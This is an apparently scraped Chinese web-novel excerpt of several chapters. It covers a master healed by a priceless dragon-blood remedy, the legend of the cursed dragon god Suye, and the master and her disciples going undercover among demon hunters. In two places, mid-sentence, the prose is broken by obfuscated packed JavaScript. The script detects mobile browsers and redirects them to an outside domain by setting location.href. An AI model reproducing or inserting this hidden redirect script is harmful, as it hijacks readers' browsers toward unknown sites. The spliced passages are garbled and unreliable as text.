白骊珠懒洋洋打了一个哈欠,道:“就算是灵丹妙药,也没有药效这般快的。徒儿你先回去休息吧,说不准明天就好了。” 她受伤本不严重,主要是失血过多,精血再生不易,常有虚弱之感。这最少需要数日时间休养,绝没有这么快就恢复的。 当然,纪长怀孝心可嘉。她虽然存了把对方当冤大头的心思,还是有些感念的。考虑到他腿上伤还没好全,还大半夜帮她熬制汤药,便催他回去休息。 纪长怀却没有回去睡觉的意思,他放下托盘,一把抓住白骊珠受伤的手臂,“这可不是一般的灵丹妙药,师父可以再等等。” 被他这般看着,白骊珠感觉到受伤的地方开始隐隐发痒。 很快,她就发现,发痒的感觉并不是因为有人看,而是表皮之下,她的血肉正在飞速生长,伤口也开始缓缓愈合。 又过了一会,愈合的伤口开始结痂,痂痕开始变硬,自然脱落。在不到半炷香的时间内,她的手臂光洁如初,就好像从来没有受过伤一般。更奇特的是,她自昨日失血之后的虚弱感也消失无踪,就连先前隐隐的困意都消失了。 当然,不管谁遇到这种情况,都能瞬间不困了。 她不可思议地转头看向纪长怀,后者脸上的笑容自得而骄傲:“师父,您现在是不是觉得身体全好了?” 看他那志得意满的表情,白骊珠不用想也知道肯定是方才她喝的药有问题。她的视线落在已经空了的药盏上:“方才你给我喝的什么药?” “师父刚才喝的可是整个妖界独一份的龙血竭。不管是什么伤病,喝了之后伤势马上就可以复原。” “龙血竭?这是什么,我从来没有听说过。” 白骊珠自认为在妖界行走多年,也算见多识广,可龙血竭什么的完全没有听说过。她瞄向蓝鹊儿:“鹊儿,你听说过吗?” 蓝鹊儿:“也没有。” 纪长怀兴奋道:“你们没有听过很正常。这龙血竭可是龙神溯夜大人的心头血配上几种珍稀奇药所制,这也就是当年我舅舅兽神陆崖帮过溯夜大人不少忙,才得了一味龙血竭还人情。” “什么?”白骊珠直犯嘀咕:“龙神溯夜的心头血?这得多少钱啊?” 纪长怀:“龙神溯夜已死,妖界以后都不会再有龙血竭这种药物。师父你刚才喝下去可是妖界五族加起来都只独此一份的珍宝,怎么能用钱来衡量?当然,如果非要衡量,最少可以在妖界买一座城池吧……” “啥?” 白骊珠倒吸一口凉气,一座城池? 这得多少钱啊。 她顿时觉得自己暴殄天物。老天爷,她不过是胳膊上划了几个小小的伤口,失了点血而已,至于要用“龙血竭”这么珍贵的宝物来治伤吗? 这不是白瞎了吗? 一座妖界的城池啊,就这样被她不小心吞进了肚子里,连个响声都没有。 白骊珠万分后悔,早知道她一定不会喝那盏药的。她的伤势根本不重,用龙血竭去换一座城池,自己当城主不香吗? 她简直想将刚才喝下去的药吐出来。 蓝鹊儿若有所思道:“你们说这水族大君龙神溯夜到底是什么来头?不仅身上的鳞片拔下来就可以当钱花,死去的骸骨都是极品的炼器材料,就连龙血也是顶好的药材。听起来这龙神溯夜简直是妖界最幸运的人。” 她偏头看向白骊珠:“骊珠,你也是水族,算起来也是龙神溯夜的臣属,你可知道这是为什么?” 白骊珠连连摆手:“我虽说也是水族,但从我有记忆开始,龙神溯夜就一直在青崖闭关,我姑姑也从来没有给我说过龙神溯夜的事。我对他差不多是一无所知……” 一旁的纪长怀听了,立刻来了兴致:“你们想知道龙神溯夜的事,问我就对了……” 蓝鹊儿不信:“骊珠身为水族都不知道的,你又如何知道?” 纪长怀得意洋洋道:“龙神溯夜可是我最崇拜的人。可惜,他活着的时候,我没有亲眼见过他。我也知道以我的能力根本没可能得到龙神遗骨。我这次到青崖,就是想最后瞻仰一下龙神大人的遗容。” 白骊珠奇了:“你可是九尾狐族,最崇拜的人难道不应该是兽神大人吗?”妖族虽然有崇拜强者的传统,但是五族历来界限分明,大家一般都只崇拜本族的强者。 “嘿,陆崖大人虽说是我舅舅,但他除了脸长得好看、人缘好点以外也没啥了。”纪长怀遥望青崖之巅,目光中满是崇拜:“而龙神大人就不一样了,在过去的一万年间,龙神大人多次率领妖界联军在西陵泽打退魔族的入侵,是我们妖族的战神和大英雄。我的舅舅是龙神溯夜最好的朋友,所以我从小就是听着龙神溯夜的故事长大的。舅舅说,龙神溯夜是天道最钟情的宠儿,也是天道最厌弃的囚徒……是整个妖界最悲惨的人……” 白骊珠和蓝鹊儿听得一愣一愣的。 龙神是天道最钟情的宠儿肯定是没毛病,这天道最为厌弃的囚徒、整个妖界最悲惨的人,听起来都和妖界最强的大君不大沾边的样子。 纪长怀:“我知道你们不信,可我舅舅就是这么说的。舅舅说了,第一代的龙神出现的时间可和我们妖界大陆出现的时间差不多……” 在纪长怀听到的故事中,第一代的龙神诞生于妖界大陆从盘古混沌大陆剥离之初。 龙神是妖界大陆原初的灵气所化,诞生于所有妖灵出现之前。就这样过了不知几千几万年,妖界大陆渐渐有了生灵,有了五大妖族,繁衍生息。龙神因为喜欢水源之地,成为水族之主。虽然与其他四族之主平起平坐,但是他资历最老,其他四族都尊他为首。 变故始于五万年前,混沌大陆上又有一片新的大陆剥离,慢慢地撞上了妖界大陆。 这片大陆上魔瘴之地横行,诞生了名为魔族的种族。魔瘴大陆与妖界大陆撞击之后开始融合,大量的妖族生灵因为感染了魔瘴之气而死。最开始死亡的是灵力低微的妖族,慢慢的一些实力强大的妖族也开始染病,变得虚弱不堪。 第一代的龙神发现事情不对劲,他率领妖界五族大军与魔族大战一场,终于打败魔族。然而,就算妖族打败了魔族,也无法阻挡妖界大陆与魔族融合的过程。最终龙神耗费了自己九成的灵力,使用移山之术,将妖界大陆的内核全部掏空,将整片的魔瘴大陆封印在妖界大陆里面。这样,妖界和魔界虽然融合,但是妖界在地表之外,是外世界,魔界在地心深处,成为里世界。两界隔绝,各不相通。 之后,龙神镇守两界封印之处三千年,直到地脉稳定为止。 龙神此举招致天道的不满,天道认为魔界大陆从混沌大陆坠落之后,滑向妖界大陆,那么妖界与魔界的融合就是宇宙的法则,适者生存,不适者便应该淘汰。龙神以一己之力,违背了宇宙法则,便应该遭受惩罚。 天道对龙神降下了“无限轮回,永世孤独”的诅咒,作为他违背宇宙法则的惩罚。 白骊珠和蓝鹊儿第一次听到这样的故事,很是新奇,问道:“什么叫作无限轮回,永世孤独?” 纪长怀轻叹了一口气,道:“简单说,龙神死后可以无限轮回,可是不管轮回多少次,他也不会爱上任何人,只会一世又一世地孤独终老。” “天道降下诅咒之后,龙神每隔一段时间就会遭遇雷劫。每百年历一小劫,每千年历一大劫,每万年渡一次无妄劫。无妄劫对于龙神来说就是杀劫,从来没有一任龙神成功度过无妄劫。无妄劫之后再过一百年,龙神死后消散的灵气会重新聚合,化生成为新的龙神,这便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14876628|158899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是龙神的无限轮回。 “也就是说,龙神的寿命最多只有一万岁。因为龙神的身体本是天地间的原初灵气,就连最不值钱的鳞片也是制造水晶币的材料,因此龙神遭遇无妄劫死后,众妖就会分抢龙神的尸体。龙神为妖界众妖而历劫,死后却被一次次被众妖分尸抢夺,这就是天道对龙神的诅咒之一……算起来,溯夜大人是妖界的第五任龙神……” 白骊珠:“这么说起来龙神还挺惨的……” 咳,话说回来,如今他们这支小队也在觊觎龙神丰厚的“遗产”,想要上青崖夺宝,似乎不太有资格同情龙神大人。 纪长怀接着讲下去:“还好,还好,这还不算最惨的。毕竟龙神已经死了,就算尸体被人挫骨扬灰他也没有知觉,死后重生的龙神也不会有这一段的记忆。我舅舅说了,龙神的遗骸最终能为妖界众妖所用,既是天道的意志,也是龙神的慈悲。更惨的是诅咒的另外半句‘永世孤独’,龙神虽然爱着妖界,但是无法对具体的人生出情感。他会履行自己身为水族大君的职责,但是不会和任何人构建起稍微亲密一点的关系,他远离人群,孑然一人活在这世界上,没有亲人、也没有朋友,更没有爱人……” 白骊珠打断道:“等等,等等,你方才不是说你舅舅兽神陆崖是龙神最好的朋友吗?” 纪长怀挠了挠头:“舅舅说了,这个最好的朋友是他自己封的。在我舅舅少年时,从上一任兽神口中得知了龙神的故事,他那时不信命,根本不相信会有人爱着这世界,却不会对身边的人生出任何的感情。他花了整整一千年的时间,每天像个跟屁虫一样跟在溯夜大人的身边。溯夜大人但凡有什么需要,他都第一时间出现帮忙。可是溯夜大人就像最冷的冰,我舅舅花了整整一千年的时间,也没有将这冰块捂化,成为龙神大人的朋友……” “在我周岁的那天,我舅舅邀请溯夜大人参加宴会,那是整个妖界最盛大的宴会。我舅舅认为,溯夜大人没有感情是因为他远离人群,只要他融入人群,见到可爱的小孩子,就能唤醒龙神大人心中对世界原初的爱。他甚至想让我拜龙神为师,成为龙神的弟子,只要溯夜大人能生出一丝丝的感情,哪怕是师徒之情,就可以破除天道的诅咒……” “但是,他失算了。溯夜拔下了一颗水晶鳞片作为抓周礼,又送了一块极为珍贵的龙血竭给我的舅舅,龙神溯夜说:‘陆崖,感谢你这一千年的付出与帮助,但是我还是无法接受你作为我的朋友。龙神溯夜不需要朋友,也不需要一个徒弟。这块龙血竭是用我的心血制成,是天地灵气所钟,不管受了什么伤,使用之后都能马上复原。我今日将之送给你的外甥,你从此以后不必再跟着我了’。我舅舅从此知道,他这一千年的努力都失败了,就算他再努力,龙神溯夜也无法对旁人生出情感,他注定背负永世孤独的诅咒,直到下一次无妄劫的到来……” …… 白骊珠躺在床上,想着纪长怀讲的故事,久久不能入眠。 龙神背负着天道的诅咒,在一次又一次的无妄劫中死去又重生。他爱这个世界,却无法对这个世界上的任何人生出任何情感,只能在永世孤独中一次又一次轮回。 轮回就算了,每一次死后其遗骸都会成为妖界大妖们争抢的对象。 他虽然富有四海,随便拔一颗鳞片都可以当作银钱使用,实际上却一无所有。 他曾是整个妖界的英雄,可是关于他的传说在数万年的时光中几乎湮灭,不仅像自己这样的晚辈闻所未闻,就连他自己也在一次又一次的轮回中全部忘记。 这听起来实在是够惨的。最少,穷如白骊珠,也觉得与龙神溯夜相比,自己的日子挺幸福的。 虽然长月海白鱼一族遭遇覆灭,但记忆中的父母,还有姑姑一直挺爱她的,她的身边也一直有关心她的朋友。远的不提,自己的两个徒弟都挺孝敬师父的。 要是运气好一点,得到龙神遗骨,她说不定有机会成为一位小有名气的炼器师,从此功成名就,享受美好人生。 要是运气再好一点,拿到龙神之心,炼制出溯回镜,就可以完成她的夙愿,弥补过去的遗憾。不管怎么说,也比坐拥无数宝物,却无限轮回、永世孤独的龙神大人的生活好一点。 不知过了多久,她终于沉沉睡去。 20. 第 20 章 第二天,众人继续上山。 经过这两天的休息,纪长怀的脚伤已经好了七七八八。他出身好,模样好,既有风度,又有涵养。他知道蓝鹊儿是白骊珠的同门,便以“师姑”称呼她,对蓝鹊儿的尊敬也如同自己师父一般。 这几天熟悉之后,准备膳食的时候,纪长怀也总能细致照顾到两位女郎的口味。比如白骊珠喜欢吃软烂一点的食物,至于汤食,则喜欢甜口。蓝鹊儿则是反过来,喜欢食物有嚼劲,汤食也喜欢咸鲜味的。 纪长怀为这次出行准备充分,乾坤袋里零零碎碎的食物原料准备了满满一袋子。每到饭点,他会根据两人不同的喜好来准备食物,从来不会弄错。 爬山的时候,他也随时准备着干净的水或者手帕,还有一些可口的小零食,以备不时之需。因此白骊珠也乐得使唤他,逐渐疏远了十五夜。 不知十五夜是不是改了性子了,从山海图出来之后,对于花孔雀一般在师父面前开屏的纪长怀视而不见,经常一个人落在最后。晚上休息的时候,也一个人着落在远处。 纪长怀将师兄终于不在师父面前碍眼这件事归结为自己的胜利,愈发兴致昂扬。白骊珠隐约感觉十五夜的情绪和之前不太一样,她问过两次,十五夜都说自己没事,白骊珠也就不放在心上。 到第四天的时候,山路越发平缓,森林越发茂密。高山上的雪水化作溪流湍流而下,从开满鲜花的草地上蜿蜒流过,密林中生长着各种奇花异草,让第一次进入这片森林的众人感到进入了仙境一般。 与之前不同的是,自从进入森林之后,十五夜就取代了之前充当向导的乌小孙,走在最前面。每天晚上的露营地也都是十五夜指定,一路上倒也平安无事,直到第七天。 这天早上,众人离开营地,走出不远。忽然,走在最前面的十五夜忽然停下脚步,忽然吸了吸鼻子,又竖起耳朵,听了听风流动的方向,表情凝重起来:“不好,风中有血腥气。前面有人打架,可能是猎妖盟的人,我过去看看……” 他疾行如飞,很快消失在森林深处。 白骊珠和蓝鹊儿对视一眼,连忙追了上去。 两人走出三里路,才到了一片生长着柳杉的密林,十五夜一身颀立,他身边横七竖八躺着数只大妖。 白骊珠走进一看,只见其中有两个人是之前在山路上见过的大妖,两人都已经死亡,身上有一个硕大的血洞,显然是被人杀死之后剖出灵骨。 另外四个人蒙着脸,身着黑色劲装,与那天蓝鹊儿遇到的猎妖盟的人服饰相同。他们身上没什么伤口,只有嘴角流出鲜血,是被高手用极强的劲力震碎内脏而死。 考虑到现场只有一个人活着,白骊珠看向十五夜,问道:“你杀了他们?” 十五夜点头,道:“死了三个。”他用脚踢了踢其中一个,“留了一个活口,他只是晕了过去。” 这个时候,落在后方的纪长怀和乌小孙也追了上来。 纪长怀也见了地上的尸体,冷吸一口凉气:“猎妖盟的人又动手杀妖取骨了,这些人真的是越来越嚣张了。” 十五夜默不作声,拾起一根树枝,一一挑起死人脸上遮脸的黑布,露出本来的面容。纪长怀面露惊异之色,轻轻咦了一声。 十五夜转眼看了过来,“纪师弟认识他们?” 十五夜方才一击之下打死三人、打晕一人,已差不多判断出三人的实力约莫在归虚境,在妖界也算中生代的高手,最少也都修炼了五百年以上。 他被无妄劫劈死之前在青崖整整宅了三百年,对于后面冒头的晚辈后生们是一个也不认识。 纪长怀身为青丘纪家的公子,素来交游广阔,许多人就算不熟也都是见过的,当即为众人介绍起来:“最左边的这位出身蛇族,名叫江云泽,擅长用剑。中间这位女子是羽族的,名叫华樱雪,在妖界也小有名气。他们两人一向独来独往,没想到会和猎妖盟有牵连。” 他又指向另一人:“还有这个,也出身我们九尾狐一族,名叫纪浩辰,算是我的远亲,只是有大概几十年没见过了。至于被师兄留了一命的这位,也是出身羽族,是羽族苍鹰一族的七公子。” 他叹了一口气:“前面两人无门无派也就罢了,后面这两人都是家族中有一定威望的人,没想到也会加入猎妖盟这样的组织,在青崖大肆猎杀其他大妖,这着实难以想象……” “依师弟之见,这件事情该如何处置?”十五夜颇为玩味的看着他,目光炯炯,带着一分难以言说的压迫感。纪长怀不由得后退一步:“这事情和我有什么关系……我……我也不知道该怎么处置……” 开玩笑? 他纪长怀虽然在妖族也算名门弟子,但一向被归入草包纨绔一类,哪里有资格处理这等大事。 十五夜从容道:“这事当然轮不到纪师弟你处置。根据妖界五族共同遵守的原则。凡是猎妖夺取妖骨者,妖界人人得而诛之。而且,如今青崖人人为了龙神遗骨趋之若鹜,偏偏猎妖盟在这个时候浑水摸鱼,恐怕酝酿着更大的阴谋。纪师弟你的舅舅贵为兽族族长,按理说这件事他该亲自过问,纪师弟你不如写一封书信,请你舅舅到青崖来。” 这件事发生在龙神大人自己的地盘之上,若他还是原来的水族大君,这件事根本不需要陆崖出手,龙神一人足矣。 可如今他名义上已死,如今的身体不过是一只弱小的白鱼妖,实力下降大半不说,他目下也不想暴露自己的身份,便无法亲自出面,思来想去,此事还是交由陆崖处理比较靠谱。 严格算起来,陆崖算不上他的朋友。但在过去的一万年生涯中,已是他最熟悉和相信的人。 “呃……这个嘛……”纪长怀眼神躲躲闪闪,嘀咕道:“这恐怕不行,我舅舅如今正在闭关,我们还是不要为这一点区区小事打扰他了……” 开什么玩笑? 他好不容易从青丘逃婚出来,若是让舅舅知道他在青崖,就等于是他母亲也知道了。以他母亲的脾性,少不得要抓他回去和羽族联姻。 若是要让他娶紫凰郡主那个刁蛮的女人,他还不如找一块豆腐一头撞死算了。 十五夜明显不信,哂道:“龙神溯夜历无妄劫而死,如今青崖出了这样的大事,陆崖还能静下心来闭关?”如果是这样,陆崖就不是他过去认识的那位最喜欢热闹、就算没事也要找出一点事情的兽族之长了。 纪长怀也知道自己的借口根本站不 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他哭天抢地、涕泪横流:“我舅舅就是一个草包花瓶,他来了也未必能解决问题啊,师兄……” 十五夜心中冷笑。 陆崖是不是草包花瓶暂且不论,他蹲下身和纪长怀对视:“妖界第一聪明人,就你?” 他眼神森寒,照眼一刹,纪长怀就打了一个哆嗦。然而,被师兄欺负,就找师父告状几乎成为他的习惯,他干脆扑通一声在白骊珠面前跪下,声泪俱下:“师父,求求你了,帮帮徒儿吧。这件事绝不能让我舅舅知道。他要是知道了我在青崖,就等于我娘知道了。我娘知道了,一定会抓我回去和那个紫凰郡主成亲的……师父,你一定不忍心看我——您的爱徒羊入虎口是不是……一定要救救我……” 十五夜听到“爱徒”两个字,脸黑如锅底,手上也更用力了。 看到纪长怀哭得梨花带雨,白骊珠也觉得有些于心不忍,她轻咳了两声,正要开口,十五夜便看了过来:“师父不必求情,难道说师父您有办法对付整个猎妖盟?” 白骊珠适时闭了嘴。 她自己有几斤几两她还是清楚的。对付猎妖盟,这是她能想的事吗? 纪长怀的想法很好,十五夜能一个人对付四个猎妖盟的高手,她这做师父的当然也能对付四个…… 实际的情况是,弟子未必不如师。当初她挑战紫凰郡主是和十五夜一起演戏。 实则…… 她谁也打不过。 当然,这会儿认怂,那岂不是承认当初自己作弊,别说当纪长怀的师父了,连纪长怀的保镖也没有资格。想了想自己已经入袋为安的两万水晶币,她还是觉得自己应该主持一下公平正义。 她伸手将纪长怀扶起来,装作一副底气十足的样子:“长怀,你先起来吧,猎妖盟的事我们可以慢慢想办法……十五夜,你又不是不知道你师弟的情况,何必欺负他呢?” 十五夜攥紧拳头,心中冷笑。 好,很好。 只要纪长怀一哭一闹,他的这位好师父就认为是他欺负了纪长怀。 还真是好得狠。 这样可就别就怪当师兄的不顾同门之情了。 21. 第 21 章 气氛一时凝滞。 一旁观望的乌小孙想起自己一天两百的佣金,跳出来解围道:“我倒是有一个办法,可以暂时不用惊动陆崖大人。我们先去摸摸那猎妖盟的老底,如果猎妖盟实力一般,我觉得我们可以再找一些帮手,一举将他们端掉。如今青崖上有实力的大妖不少,他们肯定也不希望自己有一天落单被猎妖盟的人盯上。要是猎妖盟实力强大,不是一般人能对付,届时纪公子再修书请陆崖大人来此不迟。” 这个折中的方案不错,白骊珠一下子有了兴趣:“那该怎么调查猎妖盟?” 乌小孙眼珠一转:“办法很简单,方才令徒不是打死了三个猎妖盟的人,又留下了一个活口吗?我们中间派出一个人假冒死者,和剩下那个活口一起回猎妖盟,自然能找到他们的老巢的位置,还能打探一些他们的情报。” “这个办法不错。”白骊珠点头,“那该由谁去做这个卧底呢?” 她的目光在众人脸上一一扫过。 首先排除自己,她有几斤几两自己再清楚不过,干不了这活。 然后排除蓝鹊儿,上次蓝鹊儿差点遭了猎妖盟的毒手,再去卧底不是羊入虎口吗? 再然后是乌小孙。乌小孙见白骊珠的目光落在他身上,连连摆手:“白姑娘,我只是提一个建议。我们乌鸦一族传递消息还可以,但是灵力低微,人见人欺,这深入敌穴的事情我可干不了。” 那这个人选就只能在她的两个徒弟中产生了。 十五夜嘛,也不合适。他可是她的移动宝箱,她收他为徒是为了等他死了,好第一时间名正言顺继承他的遗骨。平日里她就恨不得自己的眼睛长在他身上。让宝物独自行动,不行,不行。 那就只剩下最后一个人选了。而纪长怀嘛,也不是很合适。这面团一样的富家少爷,去卧底不是任人揉捏吗? 但十五夜显然不这么想。 “纪师弟,你去吧。” 白骊珠一抬头,见十五夜已经将纪长怀从她身后提溜出来,“师弟既然是天下第一聪明人,这乔装改扮、探听消息的一点小事,想必不在话下……” 他的嘴角慢慢扯出一个微小的弧度,似乎在笑,纪长怀只觉得这笑容危险无比。 “而且,方才纪师弟也说了,这三名死者中有一人本就是你们九尾狐一族,是你的族弟,与你也是旧相识,你取代他的身份也没有什么难度。综合考虑,我觉得纪师弟是最合适的人选。” 十五夜转向白骊珠,语气也变得温和起来:“师父觉得如何呢?” 纪长怀一个哆嗦,他有足够的理由怀疑,他这师兄就是因为他和师父亲近,才看他不顺眼,想要借此机会杀人灭口。 卧底?这是他堂堂纪大少爷能干的事情吗? 这和送人头有什么区别。 他举起双手抗议:“我有异议,我的修为远不如纪浩辰,根本无法假扮成他。” “这个简单。”十五夜脸上笑容愈冷,他走到纪浩辰身边,手朝着后者已死的身体压了下去,似乎在感知着什么。 接着,他将纪浩辰的尸体翻了个面,在尾椎骨后按了一下,很快他手上出现了一块金黄色的东西,正是纪浩辰的灵骨。 十五夜:“灵骨是大妖的妖能晶化之后产生的骨骼,大妖们的修为就储存在这块灵骨之中。只需要将他的灵骨接给你,你自然就能得到他的大半修为,比起本尊当然是差一点,糊弄一般人也算过得去……恰好,你和他是同族,不会有什么不适……” 纪长怀见十五夜拿着纪浩辰的灵骨向他走来,意识到他这师兄是要来真的。 一般的大妖若是有机会得到别人的修为,只怕欣喜若狂。纪长怀却宁可当个身无长处的纨绔子弟,一点也不想去当那个见鬼的卧底。 他一边连滚带爬往白骊珠身后躲,一边撕心裂肺地大喊:“师父,救我——” 可惜他的反抗徒劳无功,还没够到白骊珠衣角就被十五夜制住。师兄弟俩人的实力存在天壤之别,纪长怀一点儿也动弹不得。 众目睽睽之下,纪浩辰的那块灵骨在十五夜手中化作金色流沙,精纯的妖能顺着纪长怀的百会穴流入他的体内,就连他的面容也发生了变化。 他的五官与纪浩辰越来越像,原属于纪长怀温和懒散的气质消失大半,取而代之的是纪浩辰那张颇有几分阴鸷狠厉的脸。 纪长怀摸了摸自己粗糙的脸,惊恐道:“你对我做了什么?我不要做纪浩辰……我要变回来……” “一个小小的障眼法而已,只要你完成任务自然能变回来,不然你就以后顶着纪浩辰这张脸好了。”十五夜嘴角上扬,似乎心情不错:“当然,纪师弟你也可以选择修书给你舅舅陆崖,他身为兽族大君,能力非凡,也能解除我设下的障眼法……” 纪长怀气恨不已:“你……你你你你你……” 纪长怀“你”了半天,最终还是无可奈何,十五夜分明就是想逼他让陆崖出面,他是绝不会让十五夜如愿的。 十五夜又折了两根树枝走了过来:“纪师弟,你的面容和纪浩辰一无二致,也有了他的修为,但还要学会他的长生剑法,这件事情才算万无一失。” 他扔了一根给纪长怀,正色道:“现在我给你演示一遍,师弟你可要好好学。不然,回头遇到危险不小心死了,可别埋怨师兄没有好好教你——” 纪长怀气不过道:“我才不学……” 他扭头想跑,又被十五夜抓了回来。不知十五夜动了什么手脚,他整个人动弹不得,竟连眨眼也无法做到,只能瞪着一双气鼓鼓的眼睛,愤怒地看向十五夜。 十五夜的声音寒凉入骨:“师弟,这可由不得你,师兄我可都是为了你好。” 他手中树枝缓缓一划,做出长生剑法的起手式。 这套剑法并不常见,招式中有不少刁钻诡谲 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十五夜一愣:“师父要和纪师弟一起去?” 白骊珠:“也没说卧底只要一个人是吧。”她指了指路边的三具尸体:“这三个人中华樱雪是女子,我就假扮成她好了。两个人一起,也算也有个照应。” 纪长怀感动得涕泪横流,“我就知道师父你对我最好了。” 他显然记吃不记打,师父的维护让纪长怀一下子忘了他这个师兄不好惹的事实,阴阳怪气道:“呵呵,有的人以为使这种手段就可以将我和师父分开,一个人独占师父。现在你知道了,在师父心中我才是最重要的那个徒弟。” 十五夜的脸色沉了下来,“你再说一遍。” 他好不容易想了这个办法,让纪长怀滚远点,别整天粘着白骊珠。没想到白骊珠竟然对这个不中用的师弟护犊子到这种程度,让纪长怀蹬鼻子上脸,是可忍孰不可忍。 眼看两人怒目相对,白骊珠虽然迟钝,这个时候也感觉到了某种修罗场的气氛。 为什么两个徒弟这么难带,他们似乎随时随地就能为了一些小事掐起来。 本着一碗水端平的态度,她指了指另外一具尸体,道:“好了好了,不用争不用抢。这里还有一个名额,我们三个人一起去好了。” 话一出口,白骊珠也愣了一下。 嘿,这不就是最完美的解决方案吗? 他们三个一起去,她就可以一边守着自己的百宝箱,一边守着自己的钱袋子,还能避免两个徒弟为师父更喜欢谁而争执不下,简直完美好吗? 她是什么大聪明,竟然能想出这么完美的解决方法。 十五夜愣了一下,很快做出了决定。 他最早的计划是踢走师弟,一个人独占师父,但这个计划已经破产。 三人行还是让师弟独占师父,傻子都知道怎么选。 22. 第 22 章 黄昏,密林之中。 最后一个黑衣蒙面人鹰十七悠悠醒转,他警惕地观察了一下四周,看到纪浩辰和华樱雪正围着篝火,烤着不知道从哪里猎得的野味。 他揉了揉自己的脑袋,想起自己昏迷之前是在出任务来着。这次的任务有惊无险,对手不算强,他跟着浑水摸鱼,三名同伴就放倒了两个落单的大妖,得到了他们的灵骨。 在那之后…… 他又迷茫了一会,想起之后他们似乎是遇到了实力非常强劲的高手,他甚至还没看清对方怎么出手,就被放倒了。 他本来以为自己难逃一死,没想到竟然捡回来一条小命。 既然其他三人都在,也就意味着他们打跑了那名高手,出色地完成了任务。 他朝篝火那边走了过去,和两位同伴打招呼:“华姐,辰哥,你们没事真的太好了……”他又朝四周望了一圈:“对了,八号呢?” 篝火旁的纪浩辰和华樱雪正是纪长怀和白骊珠假扮,他们此刻已经换上了两人的衣服,易容成两人的模样。 在两人的随身物品中,各有一块令牌,纪浩辰是十三号,华樱雪是十四号。他们也看过已鹰十七的令牌,他是二百五十号。 十五夜假扮的那名大妖出身蛇族,名叫江云泽,编号是八号。根据乌小孙的情报,这位蛇族高手一向独来独往,就算是参加集体活动,也是团体中的边缘人物。为了维持人设,不在鹰十七面前露出破绽,十五夜一个人靠在不远处的一棵大树后面。 方才鹰十七叫华樱雪和纪浩辰两人“华姐”“辰哥”,又称呼江云泽为“八号”,显然四人一起出任务,鹰十七和华纪两人关系更好,跟江云泽没那么熟。 “华樱雪”往“江云泽”那边一指道:“他也没事,这次的任务有惊无险,圆满完成。现在灵骨已经到手,我们先回去交差吧。”她看向“纪浩辰”,比划道:“十四号,你给二百五十号分两串蘑菇,吃了我们赶紧上路……” “嗯?”鹰十七又揉了揉脑袋,看向“华樱雪”,似乎有些迷糊,又似乎发现有些不对劲。 白骊珠心中一紧。 三人的卧底计划的第一步,就是得看能否瞒过这个两百五十号鹰十七了。 看如今鹰十七的表情,像是已经发现了不对劲的地方? 这不可能啊。 “华樱雪”出身羽族,蓝鹊儿以前认识她,也给白骊珠提供了一些情报,包括华樱雪的性格特点、说话方式等。方才那句话是白骊珠思虑再三之后的说辞,就算有些破绽,也不该第一句就引起鹰十七的怀疑。 好在,“华樱雪”本尊是直来直去的性格,白骊珠直接问道:“二百五十号,你看我干什么,下午被人一招锤傻了吗?” 鹰十七连忙道:“不是啊,华姐,你之前不都是管咱辰哥叫‘纪郎’的吗?” 白骊珠下意识往“纪浩辰”那边看了一眼:“纪……纪郎?” 鹰十七点头如捣蒜:“对啊,对啊,你们俩不是已经结为妖侣了吗?这段时间如胶似漆,你叫他‘纪郎’,他叫你‘雪娘’,你们一起来青崖寻宝,前天一起加入猎妖盟。那天我刚好也在,上面的人给咱发这个小牌子……辰哥选了十三号,给你选了十四号,说一三一四,谐音就是一生一世,说你们这辈子不求同年同月同日生,但求同年同月同日死……” 他看了看“华樱雪”,又看了看“纪浩辰”,疑惑道:“怎么我晕了一觉,你们就生分了?刚才吵架了?” 什么鬼? 白骊珠如遭雷殛,万万没有想到,华樱雪和纪浩辰竟然是这种关系。 现在好了,两位正主确实是同年同月同日死了。听这意思,为了将这卧底大业继续下去,找出猎妖盟的马脚,接下来她还得和纪长怀扮演一对妖侣。 当然,她也并不介意为了正义,小小的牺牲一下。可说起来纪长怀是她的徒弟,这是不是有一点老牛吃嫩草的嫌疑? 她还在纠结犹豫,纪长怀已经挪了挪身体,坐得离她更近了些,对鹰十七道:“哪有,雪娘对我这么好,我又怎会和她拌嘴。只是下午被人偷袭,看来如今已经有人着手针对我们猎妖盟的人。所以我方才和雪娘商量过了,以后言行还是应该注意隐藏好自己的身份,毕竟我们在妖界都是有名的高手,将来离开青崖,若是被人发现参与猎妖之事,肯定有不少的麻烦。你说是不是啊,雪娘?” 他转头看向白骊珠,一双黑眸中沁染了缠绵情意。 白骊珠简直惊呆了。 她以前还是小看纪长怀了。 这入戏快就算了,演技堪称一流,还一下子想到这么绝佳的借口。既然他已经进入角色,她当然也不能拖后腿,她嫣然一笑道:“纪郎说得对,我们以后还是以代号相称比较安全。” 鹰十七颔首道:“你们说得有理,我以后就叫你们十三十四,你们就叫我二百五好了。” 白骊珠见鹰十七没有再怀疑,松了一口气,她决定按计划探问有关猎妖盟的情报,“对了,两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14914033|158899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 百五十号,你是为了什么加入猎妖盟?” 鹰十七咬了一个烤蘑菇,神情有些沮丧:“其实,我是被人骗进来的。” “被骗?” “我之前听说龙神溯夜历劫而死,不管是谁,只要能到雪顶天池就有捡不完的钱,所以我也来凑个热闹。半路上遇到八号……”鹰十七指了指那边的坟头:“就是那个阴险狡诈的蛇族,他说带我加入猎妖盟,只要加入,不管能不能上雪顶天池,都可以拿到二千水晶币。” 